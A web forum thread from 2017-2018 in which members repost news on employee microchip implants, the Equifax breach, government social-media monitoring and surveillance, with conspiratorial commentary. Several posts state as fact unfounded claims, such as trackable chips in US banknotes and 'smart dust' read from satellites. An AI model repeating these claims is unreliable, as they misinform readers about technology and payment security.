Jon Krusell, another software engineer, and Melissa Timmins, the company’s sales director, were more hesitant. Mr. Krusell, who said he was excited about the technology but leery of an implanted device, might get a ring with a chip instead.
Title: Re: they know what you are doing
Post by: Irene on July 26, 2017, 10:08:27 am
well this shouldn't surprise anyone...

https://www.nytimes.com/2017/07/25/technology/microchips-wisconsin-company-employees.html (https://www.nytimes.com/2017/07/25/technology/microchips-wisconsin-company-employees.html)

Microchip Implants for Employees? One Company Says Yes
By MAGGIE ASTOR JULY 25, 2017

At first blush, it sounds like the talk of a conspiracy theorist: a company implanting microchips under employees’ skin. But it’s not a conspiracy, and employees are lining up for the opportunity.

On Aug. 1, employees at Three Square Market, a technology company in Wisconsin, can choose to have a chip the size of a grain of rice injected between their thumb and index finger. Once that is done, any task involving RFID technology — swiping into the office building, paying for food in the cafeteria — can be accomplished with a wave of the hand.

The program is not mandatory, but as of Monday, more than 50 out of 80 employees at Three Square’s headquarters in River Falls, Wis., had volunteered.

“It was pretty much 100 percent yes right from the get-go for me,” said Sam Bengtson, a software engineer. “In the next five to 10 years, this is going to be something that isn’t scoffed at so much, or is more normal. So I like to jump on the bandwagon with these kind of things early, just to say that I have it.”

Jon Krusell, another software engineer, and Melissa Timmins, the company’s sales director, were more hesitant. Mr. Krusell, who said he was excited about the technology but leery of an implanted device, might get a ring with a chip instead.

I can see doing this kind of thing in super high-security areas of the government and their classified contractors, but not in the civilian sector.
Title: Re: they know what you are doing
Post by: The Seeker on July 26, 2017, 10:15:05 am
Quote
might get a ring with a chip instead.

Now that idea I might go for, a chip in a ring or watch, encrypted, with secure information such as I.D. and banking info; but not in the meatsuit

 8)

Seeker
Title: Re: they know what you are doing
Post by: Irene on July 26, 2017, 11:09:08 am
Now that idea I might go for, a chip in a ring or watch, encrypted, with secure information such as I.D. and banking info; but not in the meatsuit

 8)

Seeker

Same here. I'll wear a ring, but the meatbag is off limits.
Title: Re: they know what you are doing
Post by: space otter on July 26, 2017, 11:27:52 am

Quote
Now that idea I might go for, a chip in a ring or watch, encrypted, with secure information such as I.D. and banking info; but not in the meatsuit



yeah but guys what if it get stole  ????????

on an 'in-house' area they just  need to know that's it's you but for use for the other stuff if it isn't under your skin someone else can use it


Title: Re: they know what you are doing
Post by: The Seeker on July 26, 2017, 12:25:41 pm


yeah but guys what if it get stole  ????????

on an 'in-house' area they just  need to know that's it's you but for use for the other stuff if it isn't under your skin someone else can use it
I would rather take that chance before I let them put who knows what internally;
Which,with as much metal as I already have its probably moot, but to the best of my knowledge none of the current ones emit EMF or RF

 8)

Seeker
Title: Re: they know what you are doing
Post by: zorgon on July 26, 2017, 01:16:49 pm
When and IF they chip everyone :P  simply wear tinfoil :P

(https://cdn.instructables.com/FHU/28HI/GJ2835K5/FHU28HIGJ2835K5.MEDIUM.jpg)

If your smart your credit card chips are already in a tin wallet protector :P If your not smart you probably already lost your info by a passing reader
Title: Re: they know what you are doing
Post by: biggles on July 26, 2017, 05:54:39 pm
Hell in a hand basket, thanks Zorg.  >:(
Title: Re: they know what you are doing
Post by: space otter on July 26, 2017, 07:38:26 pm


Quote
If your smart your credit card chips are already in a tin wallet protector :P If your not smart you probably already lost your info by a passing reader


just make a sleeve for them with alum foil..that works
don't forget to cover any id cards with strips..
Title: Re: they know what you are doing
Post by: ArMaP on July 27, 2017, 01:17:10 am
If your smart your credit card chips are already in a tin wallet protector :P If your not smart you probably already lost your info by a passing reader
Do credit cards use wireless chips? I thought they needed physical contact to be activated.

PS: I don't have a credit card.
Title: Re: they know what you are doing
Post by: The Seeker on July 27, 2017, 03:18:43 am
Do credit cards use wireless chips? I thought they needed physical contact to be activated.

PS: I don't have a credit card.
They can be read while in your wallet or hand, ArMap; The new cards with the embedded chip technology are supposed to be safer, but that is debate-able

over here in the US they have been advertising the Aluma-Wallet, which is supposed to protect your cards from being scanned,and also protect the cards from the baggage scanners used at airports. 

http://www.asseenontvus.com/aluma-wallet/ (http://www.asseenontvus.com/aluma-wallet/)


Quote
This amazing aluminum wallet is slim, trendy, super light, and virtually indestructible. Plus it is water resistant too and will protect your valuables inside from getting wet. In addition, the Aluma Wallet well even protect against RFID scanners used to steal credit cards.
Title: Re: they know what you are doing
Post by: micjer on July 27, 2017, 04:59:29 am
Here in Canada all cattle leaving the farm are required to have a rfid button in their ears.  When they come into the sales ring, (sometimes as many as 100 at once), the reader can pick up the information as far as birthdates and owner etc, as soon as they pass by the scanner.  So no, they don't have to physically touch the chip.
Title: Re: they know what you are doing
Post by: ArMaP on July 27, 2017, 06:15:16 am
So no, they don't have to physically touch the chip.
That's what RFID chips were made for, cards like credit and debit cards did not had that technology.
Title: Re: they know what you are doing
Post by: micjer on July 27, 2017, 10:03:34 am
My credit card has a chip in it.  Tap and go.   I would wonder if a sensor was sensitive enough could it pick up without the tapping.
Title: Re: they know what you are doing
Post by: zorgon on July 27, 2017, 11:45:59 am
My credit card has a chip in it.  Tap and go.   I would wonder if a sensor was sensitive enough could it pick up without the tapping.

yes  someone can walk by you in a mall and swipe your card chip without touching you UNLESS you put it in a metal wallet case

Don't forget the Military SMART DUST microscopic chips that can be read from space satellites

https://www.youtube.com/watch?v=GvdGggusRYU
Title: Re: they know what you are doing
Post by: ArMaP on July 27, 2017, 12:51:58 pm
Probably because I never used a credit card, I think there's something missing.

What data is sent from the card to the reader?
Title: Re: they know what you are doing
Post by: ArMaP on July 27, 2017, 12:56:34 pm
Don't forget the Military SMART DUST microscopic chips that can be read from space satellites
How is that possible? The "smart dust particles" do not have enough power to communicate with far away devices, and a satellite wouldn't be able to distinguish from two "smart dust particles" close to each other.
Title: Re: they know what you are doing
Post by: The Seeker on July 27, 2017, 01:26:26 pm
Probably because I never used a credit card, I think there's something missing.

What data is sent from the card to the reader?
Everything encrypted on the chip; your name as it appears on the card, your bank routing number and the number of the account the card is associated with, and your address.
Title: Re: they know what you are doing
Post by: The Seeker on July 27, 2017, 01:31:26 pm
How is that possible? The "smart dust particles" do not have enough power to communicate with far away devices, and a satellite wouldn't be able to distinguish from two "smart dust particles" close to each other.
The smart dust functions the same way the chip in US currency does; the more of them you have together, the stronger the signal  8)

One of the biggest drug busts made in Florida was due to the perps having $250,000.00 in hundred dollar bills; that many chips together gave a strong enough signal for it to be tracked... I will see if I can find the article concerning that event...
Title: Re: they know what you are doing
Post by: space otter on August 12, 2017, 10:37:39 am


anymore the news just makes me want to runs screaming into the woods
but i'ld probably run into that goofy guy in the fur suit calling himself a shaman..how do we get off this ride.  ?



http://www.msn.com/en-us/money/companies/walmart-just-came-up-with-an-idea-that-will-make-customers-really-miserable/ar-AApU1tf?li=BBnbfcL

Walmart Just Came Up With an Idea That Will Make Customers Really Miserable
 Inc. Inc.
Chris Matyszczyk
14 hrs ago

Watch out. There might be a camera in the shopping cart.

Should some ideas be left on the shelf? Try telling that to those who think they know the future.

Some ideas smack of genius.

Others, you just want to smack.

You must decide which is more accurate when I tell you about an idea that has just emerged from the bowels of Walmart's cranium. (Can a cranium have a bowel? -Ed.)

The famed Arkansas-based retailer has, according to the Wall Street Journal, applied for a patent that will burrow deep into customers' emotions.

This fine facial-recognition technology will have one aim -- to work out whether customers are happy. Or not.

The Journal declares that if the Walmart's razorback eye detects an unhappy customer, it will "adjust staffing accordingly."

Because, of course, the one sure way to make someone happy is to for them enjoy adjusted staffing at Walmart.

I'm reminded of sitting next to a couple in a restaurant. They hadn't spoken in a while.

Suddenly, the woman said to the man: "It's not the beef bourguignon, Dennis. It's the last 26 years."

The churlish, you see, would suggest that at least some customers are unhappy at Walmart simply because, well, they're having to shop at Walmart.

I wouldn't sink to such besmirchment. Instead, I'd suggest that, even in America, not everyone's unhappiness can be solved by consumerism.

How will this technology decide whether a customer is unhappy because they can't find the right, say, handgun rather than because they're in a terrible relationship with a lover who is more inconsiderate than a celebrity chef post-cocaine?

I envision embarrassing moments when Walmart staff at the checkout try to anticipate a customer's feelings.

They'll say, with a concerned expression: "I'm sorry you didn't like any of the water crackers on offer," only to receive the reply: "Water crackers? I'm about to have hemorrhoid surgery."

Technology, though it protests the opposite, cannot solve all human problems. Humans aren't all that good at recognizing the emotions of other humans, but human-made technology is?

Is it beyond the experience of Walmart's executives to imagine that people are miserable one day and less miserable the next?

Oh, but perhaps they're so frightened of Amazon and other competition that the only emotion that courses through them is neurosis.

Indeed, the patent filing offers that the technology will track how much customers are spending over time. "Significant drops or complete absence of customers spending (..) may be identified," it says.

Oh, yes. They must make customers happy all the time or that customer will leave them.

Dear Walmart, please let me offer some relationship advice. Sometimes, you just have to have faith in yourself. Or, as 1,423,760 self-help book authors have already put it: "You have to love yourself."

Otherwise, you'll come across as frightfully needy.

Which, even if you are, isn't a good look.


(https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSe3iEyp9i9aCc9BGJO9eNqSyfnVDBELDSoRoPdNp7AcN2-4iUb)
Title: Re: they know what you are doing
Post by: biggles on August 12, 2017, 07:59:05 pm
I'm getting very tired with their capabilities, programs and installing stuff.

I guess I've had it with being in this meat suit.  Makes me nuts. 
Title: Re: they know what you are doing
Post by: space otter on September 07, 2017, 03:12:01 pm


http://www.msn.com/en-us/news/technology/equifax-says-hack-potentially-exposed-details-of-143-million-consumers/ar-AArtjNI

Equifax says hack potentially exposed details of 143 million consumers
 Reuters
51 mins ago


Sept 7 (Reuters) - Equifax Inc, a provider of consumer credit scores, said on Thursday a hack exposed the personal details of potentially 143 million U.S. consumers between mid-May and July.

The company's shares were down 5.4 percent in after-market trading

The company said criminals had accessed details including names, social security numbers, and, in some cases, driver's license numbers.

In addition, credit card numbers of around 209,000 U.S. consumers and certain dispute documents with personal identifying information of around 182,000 U.S. consumers were accessed, the company said.

Equifax also said personal information of certain UK and Canadian residents were also hacked.

The Atlanta-based company it would work with UK and Canadian regulators to determine the next steps.

Equifax, which discovered the unauthorized access on July 29, said it had hired a cybersecurity firm to investigate the breach.

The company said there was no evidence of a breach into its core consumer or commercial credit reporting databases.

The breach could be one of the biggest in the United States.

Last December, Yahoo Inc said more than 1 billion user accounts was compromised in August 2013, while in 2014 e-commerce company EBay Inc had urged 145 million users to change their passwords following a cyber attack.

(Reporting by Yashaswini Swamynathan in Bengaluru; Editing by Sriraj Kalluvila)

Title: Re: they know what you are doing
Post by: space otter on September 08, 2017, 06:22:17 am
follow up

http://www.msn.com/en-us/money/companies/143-million-peoples-social-security-numbers-were-exposed-in-the-equifax-hack-%E2%80%94-heres-how-to-check-if-youre-one-of-them/ar-AArttN0?li=BBnb7Kz

143 million people's social security numbers were exposed in the Equifax hack — here's how to check if you're one of them
 Business Insider Business Insider
Lydia Ramsey
9 hrs ago

Equifax, a company that provides credit scores, said on Thursday that the personal information of 143 million people may have been accessed by hackers.

The details potentially accessed by hackers between mid-May and July include names, social security numbers, some credit card numbers and personal documents.

Equifax set up a site, equifaxsecurity2017.com, to help you find out whether your information was compromised.

Once there, you can click to check your potential impact. (Click here to go there directly)
https://www.equifaxsecurity2017.com/potential-impact/


............................

https://www.equifaxsecurity2017.com/potential-impact/

Cybersecurity Incident & Important Consumer Information
Consumer Notice FAQs Potential Impact Enroll TrustedID Premier Contact Us
See if your personal information is potentially impacted.

To determine if your personal information may have been impacted by this incident, please follow the below steps:

Click on the below link, “Check Potential Impact,” and provide your last name and the last six digits of your Social Security number.
Based on that information, you will receive a message indicating whether your personal information may have been impacted by this incident.
Regardless of whether your information may have been impacted, we will provide you the option to enroll in TrustedID Premier. You will receive an enrollment date. You should return to this site and follow the “How do I enroll?” instructions below on or after that date to continue the enrollment and activation process. The enrollment period ends on Tuesday, November 21, 2017.
CHECK POTENTIAL IMPACT
Title: Re: they know what you are doing
Post by: Irene on September 08, 2017, 12:33:56 pm
The scumbag CFO of EquiFax dumped $1 million of his stock before the news went public.

His comment - "I'm sorry."

F'er should go to prison and his account should be emptied and given to those affected.
Title: Re: they know what you are doing
Post by: space otter on September 08, 2017, 09:05:59 pm
wow ..i wanted names for later  here's what i found
thanks Irene



http://abcnews.go.com/Technology/wireStory/equifax-executive-sold-stock-hack-revealed-49692899

middle of article

In a statement, the company said the executives "had no knowledge that an intrusion had occurred at the time they sold their shares."



5:05 p.m.

Three Equifax executives sold a combined $1.8 million in stock just days after the company discovered a major breach of its data system, but well before it disclosed the hack publicly.

The cyberattack between mid-May and July was disclosed by Equifax on Thursday. The attack exposed the Social Security numbers and other sensitive information of about 143 million Americans.

The stock sales were executed on Aug. 1 and Aug. 2 by Chief Financial Officer John Gamble and two other executives, Rodolfo Ploder and Joseph Loughran. Equifax said it discovered the hack on July 29. Bloomberg News first reported the divestitures.

The sales effectively insulated the executives from a downturn in Equifax's stock Thursday. The stock dropped 13 percent in extended trading after the announcement of the breach.

———
Title: Re: they know what you are doing
Post by: petrus4 on September 09, 2017, 05:38:28 am
how do we get off this ride.  ?[/b][/color]

Don't buy from WalMart.  It's pretty simple.

While some people might find scumbag corporate behaviour infuriating, I truthfully get more angry with people who keep allowing it to be done to them, while insisting that they "have no choice."  Yes, you do.

I don't have a mobile phone.  I don't have a car.  I don't use iTunes.  I never set foot in McDonald's or Starbuck's or KFC.  I read Netflix' End User Agreement, saw where they said, "We own everything, and you own nothing," and decided that I wasn't going to do business with them.  I've been to the cinema once since 2012.  I have a fragging conscience, and I am going to adhere to it come Hell or high water; regardless of how limited or barren my life might become as a result.

https://www.youtube.com/watch?v=QkWS9PiXekE

It's called personal responsibility; and if only enough other people would engage in it, we could boycott all of these corporations, and let Nature take its' course.  Then we'd get companies who knew their place, because they would be aware of what had happened to those which had engaged in amoral behaviour, and they'd realise that they would need to lift their game if they wanted to continue to exist.

Capitalism was initially meant to be a sink-or-swim philosophy; the entire point was that if corporations were doing the wrong thing, the market was supposed to punish them for it.  The only reason why that doesn't happen, is because the majority are willing to take their crap.  We keep rewarding coercive psychopathy, so they keep looking for more and more ways to engage in it.

There is a single idea to which Google, Apple and the rest will respond with censorship, threats, and every other dirty trick at their disposal, because they know that it is the one and only weapon we have against them.

Boycott.

https://www.youtube.com/watch?v=PZ21KUBlBVI

The author of that video mentions an extremely appropriate quote from Arnold Schwarzenegger, when it comes to corporations.

"If it bleeds, it can be killed."
Title: Re: they know what you are doing
Post by: Irene on September 09, 2017, 06:40:53 pm
wow ..i wanted names for later  here's what i found
thanks Irene

http://abcnews.go.com/Technology/wireStory/equifax-executive-sold-stock-hack-revealed-49692899 (http://abcnews.go.com/Technology/wireStory/equifax-executive-sold-stock-hack-revealed-49692899)

middle of article

In a statement, the company said the executives "had no knowledge that an intrusion had occurred at the time they sold their shares."

5:05 p.m.

Three Equifax executives sold a combined $1.8 million in stock just days after the company discovered a major breach of its data system, but well before it disclosed the hack publicly.

The cyberattack between mid-May and July was disclosed by Equifax on Thursday. The attack exposed the Social Security numbers and other sensitive information of about 143 million Americans.

The stock sales were executed on Aug. 1 and Aug. 2 by Chief Financial Officer John Gamble and two other executives, Rodolfo Ploder and Joseph Loughran. Equifax said it discovered the hack on July 29. Bloomberg News first reported the divestitures.

The sales effectively insulated the executives from a downturn in Equifax's stock Thursday. The stock dropped 13 percent in extended trading after the announcement of the breach.
———

Welcome.

I'm beginning to think 99% of the population is pure sleaze.
Title: Re: they know what you are doing
Post by: fansongecho on September 10, 2017, 03:33:54 pm

Hiya Irene,

I am sorry to say, but I have to agree with Agent Smith from the Matrix, we are a plague on the planet, as a species - we suck big time.

Greed, psychopathy, sadistic control..  and it keeps happening.

We seem to  be racing extinction, but we are destroying the planet and everything on it - I have stopped researching what we have killed off this last 50 years, it is too depressing.

I know there are good people, but they don't have a say or influence on the bad..  if this is a prison planet, and we do keep getting reincarnated then I would like very much to OPT OUT if possible, once I am gone please don't bring me back.

Soz for being so much of downer on the thread  :'( :(

Fans'



Title: Re: they know what you are doing
Post by: Irene on September 11, 2017, 06:47:20 am
Hiya Irene,

I am sorry to say, but I have to agree with Agent Smith from the Matrix, we are a plague on the planet, as a species - we suck big time.

Greed, psychopathy, sadistic control..  and it keeps happening.

We seem to  be racing extinction, but we are destroying the planet and everything on it - I have stopped researching what we have killed off this last 50 years, it is too depressing.

I know there are good people, but they don't have a say or influence on the bad..  if this is a prison planet, and we do keep getting reincarnated then I would like very much to OPT OUT if possible, once I am gone please don't bring me back.

Soz for being so much of downer on the thread  :'( :(

Fans'

Don't apologize. I feel the same way. I think an ELE is in order to purge the planet of everything rotten. Give it a few thousand years to recover and, MAYBE, let's try again to get it right.

Many, many people do not appreciate what we have. Time to pay the price for hubris.
Title: Re: they know what you are doing
Post by: fansongecho on September 11, 2017, 03:30:03 pm

Indeed Irene, an ELE does look to be the only answer to our species greed, and lack of empathy for other life forms on this mud-ball, I know that there are good folks out there, but they are powerless (by design) to change or make any alterations to the path that "mankind" is racing.

Hopefully once we do get our ELE there will be some mechanism that stops Homo-Sapiens coming back into some kind of dominate life form.

Take care,

Fans'
Title: Re: they know what you are doing
Post by: space otter on September 26, 2017, 04:12:16 pm

grrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr..boy will they have some fun following me around..


http://www.msn.com/en-us/news/us/us-to-collect-social-media-data-of-immigrants-certain-citizens/ar-AAsv9SR?li=BBnbfcL


U.S. to Collect Social Media Data of Immigrants, Certain Citizens
 Fortune
Jeff John Roberts

The Department of Homeland Security is proposing to expand the files it collects on immigrants, as well as some citizens, by including more online data—most notably search results and social media information—about each individual.

The plan, which would cover data like Facebook posts or Google results, is set out in the Federal Register, where the government publishes forthcoming regulations. A final version is set to go into effect on Oct. 18.

The plan, reported by BuzzFeed, is notable partly because it permits the government to amass information not only about recent immigrants, but also on green card holders and naturalized Americans as well.

The proposal to collect social media data is set out in a part of the draft regulation that describes expanding the content of so-called “Alien Files,” which serve as detailed profiles of individual immigrants, and are used by everyone from border agents to judges. Here is the relevant portion:

The Department of Homeland Security, therefore, is updating the [file process] to … (5) expand the categories of records to include the following: country of nationality; country of residence; the USCIS Online Account Number; social media handles, aliases, associated identifiable information, and search results

The proposal follows new rules by the Trump Administration that require visitors from certain countries to disclose their social media handles, and allow border agents to view their list of phone contacts.

Those earlier measures alarmed civil rights advocates who questioned whether they would do much to improve security, and worried other countries would introduce similar screening of Americans. In response to the latest effort to collect social media data, the American Civil Liberties Union warned of a “chilling effect.”

“This Privacy Act notice makes clear that the government intends to retain the social media information of people who have immigrated to this country, singling out a huge group of people to maintain files on what they say. This would undoubtedly have a chilling effect on the free speech that’s expressed every day on social media,” the group said in a statement.

The new rules are currently subject to a comment period until Oct. 18 but, if they go into effect as planned, they will add yet more data to “Alien Files” that can already contain information such as fingerprints, travel histories, and health, and education records.

Such repositories provide powerful intelligence-gathering tools, but brings potential privacy risks such as government surveillance or cyber-attacks.

This article was originally published on FORTUNE.com
Title: Re: they know what you are doing
Post by: space otter on September 28, 2017, 10:04:12 am


http://www.huffingtonpost.com/entry/dhs-immigrant-social-media_us_59ccb13ee4b0210dfdfc2591?ncid=inblnkushpmg00000009

U.S. Quietly Announces Plan To Monitor Immigrants’ Social Media Accounts, Search Histories
Even those who are naturalized U.S. citizens.
By Willa Frej

The Department of Homeland Security intends to monitor the social media accounts and internet search history of legal immigrants as part of a new tracking system set to roll out next month.

The policy applies to not just immigration applicants, but also to naturalized U.S. citizens and lawful permanent residents. It goes into effect on Oct. 18, the same day that the latest iteration of President Donald Trump’s travel ban is set begin.

First reported by BuzzFeed, the new rule was quietly published in the Federal Register last week. It’s an update to the Alien File, also known as an A-File, which is the official record-keeping system for an individual going through the immigration system. Until now, A-Files could be kept in either paper or electronic form. Now, the rule says, these records can be kept on paper, electronically or through some paper-electronic combination.

And the information that’s now going to be kept in A-Files includes the country of nationality, country of residence, the U.S. Citizenship and Immigration Service online account number, social media handles, aliases, associated identifiable information and search results.

It’s unclear how DHS plans to collect social media handles and search results from people, although the rule does say it plans to “expand data elements used to retrieve records.”

The new rule “makes clear that the government intends to retain the social media information of people who have immigrated to this country, singling out a huge group of people to maintain files on what they say,” Faiz Shakir, American Civil Liberties Union national political director, said in a statement Thursday. “This collect-it-all approach is ineffective to protect national security and is one more example of the Trump administration’s anti-immigrant agenda.”

It’s not the first time the administration has floated using social media to vet travelers and immigrants. In February, then-Homeland Security Secretary John Kelly, now the White House chief of staff, announced that the agency was considering asking visitors to give officials their social media passwords. In June, the administration quietly put in place a new visa questionnaire requiring all social media handles used in the last five years.

And sure enough, the agency says it’s already been culling social media handles.

“DHS, in its law-enforcement and immigration-process capacity, has and continues to monitor publicly available social media to protect the homeland,” Joanne Talbot, a spokeswoman for the agency, told Bloomberg Wednesday.

Rights groups have expressed concern about the implications the policy could have on free speech.

rest at link
Title: Re: they know what you are doing
Post by: space otter on November 16, 2017, 03:14:07 pm
  continuing and referring back to reply 761 in july 2017

https://www.huffingtonpost.com/entry/report-fcc-plans-to-vote-to-overturn-net-neutrality-rules-in-december_us_5a0de41de4b0c0b2f2f8c642?ncid=inblnkushpmg00000009

11/16/2017 02:26 pm ET
Report: FCC Plans To Vote To Overturn Net Neutrality Rules In December
Critics say the move could harm consumers, small businesses and access to the internet.
David Shepardson


WASHINGTON (Reuters) - The head of the Federal Communications Commission is set to unveil plans next week for a final vote to reverse a landmark 2015 net neutrality order barring the blocking or slowing of web content, two people briefed on the plans said.

In May, the FCC voted 2-1 to advance Republican FCC Chairman Ajit Pai’s plan to withdraw the former Obama administration’s order reclassifying internet service providers as if they were utilities. Pai now plans to hold a final vote on the proposal at the FCC’s Dec. 14 meeting, the people said, and roll out details of the plans next week.

Pai asked in May for public comment on whether the FCC has authority or should keep any regulations limiting internet providers’ ability to block, throttle or offer “fast lanes” to some websites, known as “paid prioritization.” Several industry officials told Reuters they expect Pai to drop those specific legal requirements but retain some transparency requirements under the order.

An FCC spokesman declined to comment.

Internet providers including AT&T Inc, Comcast Corp and Verizon Communications Inc say ending the rules could spark billions in additional broadband investment and eliminate the possibility a future administration could regulate internet pricing.

Critics say the move could harm consumers, small businesses and access to the internet.

In July, a group representing major technology firms including Alphabet Inc and Facebook Inc urged Pai to drop plans to rescind the rules.

Advocacy group Free Press said Wednesday “we’ll learn the gory details in the next few days, but we know that Pai intends to dismantle the basic protections that have fueled the internet’s growth.”

Pai, who argues the Obama order was unnecessary and harms jobs and investment, has not committed to retaining any rules, but said he favors an “open internet.” The proposal to reverse the Obama rules reclassifying internet service has drawn more than 22 million comments.

Pai is mounting an aggressive deregulatory agenda since being named by President Donald Trump to head the FCC.

On Thursday the FCC will vote on Pai’s proposal to eliminate the 42-year-old ban on cross-ownership of a newspaper and TV station in a major market. The proposal would make it easier for media companies to buy additional TV stations in the same market.

Pai is also expected to call for an initial vote in December to rescind rules that say one company may not own stations serving more than 39 percent of U.S. television households, two people briefed on the matter said.

 

(Reporting by David Shepardson; Editing by Chris Reese)
Title: Re: they know what you are doing
Post by: biggles on November 17, 2017, 06:31:47 pm
With the tech they have that we don't know about yet, they can hone in on anyone at anytime.

I believe some of us are protected though, jmho.
Title: Re: they know what you are doing
Post by: space otter on December 02, 2017, 09:44:13 am


if your info is on line anywhere i guess you can figure that it's everywhere
what a world .


https://www.msn.com/en-us/news/us/former-nsa-employee-pleads-guilty-to-taking-classified-information/ar-BBG1CFy?li=BBnb7Kz

Former N.S.A. Employee Pleads Guilty to Taking Classified Information
 The New York Times The New York Times
By SCOTT SHANE and ADAM GOLDMAN
17 hrs ago

BALTIMORE — A former National Security Agency employee admitted on Friday that he had illegally taken from the agency classified documents believed to have subsequently been stolen from his home computer by hackers working for Russian intelligence.

Nghia H. Pho, 67, of Ellicott City, Md., pleaded guilty to one count of willful retention of national defense information, an offense that carries a possible 10-year sentence. Prosecutors agreed not to seek more than eight years, however, and Mr. Pho’s attorney, Robert C. Bonsib, will be free to ask for a more lenient sentence. He remains free while awaiting sentencing on April 6.

Mr. Pho had been charged in secret, though some news reports had given a limited description of the case. Officials unsealed the charges on Friday, resolving the long-running mystery of the defendant’s identity.

Mr. Pho, who worked as a software developer for the N.S.A., was born in Vietnam but is a naturalized United States citizen. Prosecutors withheld from the public many details of his government work and of the criminal case against him, which is linked to a continuing investigation of Russian hacking.

But in court documents, prosecutors did disclose that he worked from 2006 to 2016 for the N.S.A.’s “Tailored Access Operations.” The unit, whose name has now been changed to Computer Network Operations, is the N.S.A.’s fastest-growing component. Its hackers break into foreign computer networks to gather intelligence, often leaving behind software implants that continue to collect documents and other data and forward it to the agency for months or years.

Prosecutors said that from 2010 until March 2015, Mr. Pho began removing classified documents and writings. He kept those materials, some in digital form, at his home in Maryland, according to prosecutors.

It appears he was charged in March 2015.

Mr. Pho is one of three N.S.A. workers to be charged in the past two years with mishandling classified information, a dismal record for an agency that is responsible for some of the government’s most carefully guarded secrets.

The leaks have come to light as investigators scramble to trace the source of an even worse breach of N.S.A. security: the public release of the agency’s hacking tools by a still-unidentified group calling itself the Shadow Brokers. Some of those tools have been subsequently used for “ransomware” attacks that shut down or disrupted businesses, hospitals, railways and other enterprises around the world this year.

Government officials, who would speak of the classified details of the case only on condition of anonymity, said that Mr. Pho took the classified documents home to help him rewrite his resume. But he had installed on his home computer antivirus software made by Kaspersky Lab, a top Russian software company, and Russian hackers are believed to have exploited the software to steal the documents, the officials said.

It is not clear whether anyone at Kaspersky Lab was aware of the document theft. The company has acknowledged finding N.S.A. hacking software on a customer’s computer and removing it, but says the material was subsequently destroyed. It has denied that it works with Russian intelligence.

The sensitivity of the case was evident on Friday, when one courtroom official described the charges against Mr. Pho as “super-sealed” before the hearing. The aggressive hacking of American targets by the Russian government, including the Democratic National Committee during last year’s election campaign, is a high-priority concern for the United States, and forensic information from Mr. Pho’s computer might provide useful clues.

In addition to Mr. Pho, an N.S.A. contractor, Harold T. Martin III, was arrested last year after F.B.I. agents found some 50 terabytes of data and documents that he had taken from the N.S.A. and other agencies over 20 years. The material was stuffed into a garden shed and car, among other places, and investigators have considered the possibility that the Shadow Brokers might have obtained the hacking tools from Mr. Martin, who had also worked at one point for agency’s Tailored Access Operations.

A contract linguist who worked for the N.S.A. in Georgia, Reality Winner, was arrested in June and charged with providing a single N.S.A. document to the online publication The Intercept. Both Mr. Martin and Ms. Winner are being held awaiting trial.
Title: Re: they know what you are doing
Post by: space otter on December 13, 2017, 11:29:59 pm
well big brother does exist...s h i t !!!!






http://www.bbc.com/news/av/world-asia-china-42248056/in-your-face-china-s-all-seeing-state

In Your Face: China’s all-seeing state
China has been building what it calls "the world's biggest camera surveillance network". Across the country, 170 million CCTV cameras are already in place and an estimated 400 million new ones will be installed in the next three years.

Many of the cameras are fitted with artificial intelligence, including facial recognition technology. The BBC's John Sudworth has been given rare access to one of the new hi-tech police control rooms.

Producer: Joyce Liu. Camera: Wang Xiqing.

10 Dec 2017
 From the section China

https://www.youtube.com/watch?v=6SXL0yIIJK0

......................................

https://www.youtube.com/watch?v=NGGfjET-7c8


Title: Re: they know what you are doing
Post by: The Seeker on December 14, 2017, 09:31:23 pm
well big brother does exist...s h i t !!!!
Indeed  8) 170 million cameras and 400 million more on the way?

Think the PTB over there might be just a touch paranoid? I also find it ironic that some individuals praise the chinese for that colossus they have orchestrated...

no wonder their citizens like to emigrate  :o
Title: Re: they know what you are doing
Post by: space otter on January 05, 2018, 09:06:52 pm


i guess it's only fair that the nsa memo got leaked..
 but also funny/ironic  imo
you can read the whole thing at the link



https://www.msn.com/en-us/news/politics/nsa-chief-mike-rogers%E2%80%99s-classified-retirement-memo-leaks/ar-BBHVhCi?li=BBnb7Kz

NSA Chief Mike Rogers’s Classified Retirement Memo Leaks
 Daily Intelligencer Daily Intelligencer
Adam K. Raymond
3 hrs ago

National Security Agency head Admiral Mike Rogers is retiring in the spring, he reportedly told staffers in a “classified memo” Friday.

The memo has since leaked to NPR and Politico, among others. It’s a fitting end to Rogers’s four-year tenure at the NSA, which was marked by high-profile intelligence leaks and his efforts to prevent them.

Brought on in the aftermath of Edward Snowden’s bombshell NSA leaks, Rogers was tasked with making sure nothing of the sort ever happened again. But he wasn’t successful.
Title: Re: they know what you are doing
Post by: space otter on February 09, 2018, 11:16:54 am




it really is a mad mad mad mad mad world

ahhhhhhhhhhhhh well if you vote (or maybe if you just breath) all your info is on line floating around
and maybe even some  'you s" who don't exist


https://www.nbcnews.com/politics/elections/russians-penetrated-u-s-voter-systems-says-top-u-s-n845721

POLITICS  FEB 8 2018, 7:28 AM ET
Russians penetrated U.S. voter systems, top U.S. official says
by CYNTHIA MCFADDEN, WILLIAM M. ARKIN and KEVIN MONAHAN

  part of the article says

The U.S. official in charge of protecting American elections from hacking says the Russians successfully penetrated the voter registration rolls of several U.S. states prior to the 2016 presidential election.

In an exclusive interview with NBC News, Jeanette Manfra, the head of cybersecurity at the Department of Homeland Security, said she couldn't talk about classified information publicly, but in 2016, "We saw a targeting of 21 states and an exceptionally small number of them were actually successfully penetrated."


.......................................

http://www.esquire.com/news-politics/politics/a16758812/russia-hack-voting-machines-2016/

If the Russians Got into Voting Machines, I Fear for the Republic
The evidence is building—if we can handle the truth.



BY CHARLES P. PIERCE
FEB 8, 2018

part of what he says:

We are inching ever closer to the revelation that the actual vote totals were hacked—some very smart people are already there, by the way—and, once that happens, I don’t know where we go from there. The Republican Party already has shown it will tolerate all manner of jacking around with the franchise in pursuit of power and its benefits for the Republican donor class. But, simply, I don’t know if either party truly has the sand to face up to the possibility that a president* was installed under those circumstances.
Title: Re: they know what you are doing
Post by: ArMaP on February 09, 2018, 03:35:14 pm
The U.S. official in charge of protecting American elections from hacking says the Russians successfully penetrated the voter registration rolls of several U.S. states prior to the 2016 presidential election.
What are "voter registration rolls"?

And if that U.S. official was in charge of protecting them, doesn't mean she failed?
Title: Re: they know what you are doing
Post by: space otter on February 09, 2018, 09:19:08 pm

Armap
you have to register before you vote, meeting requirements like age and residency, this is done before the voting date giving the paper people time to add you to the list called
voter registration rolls
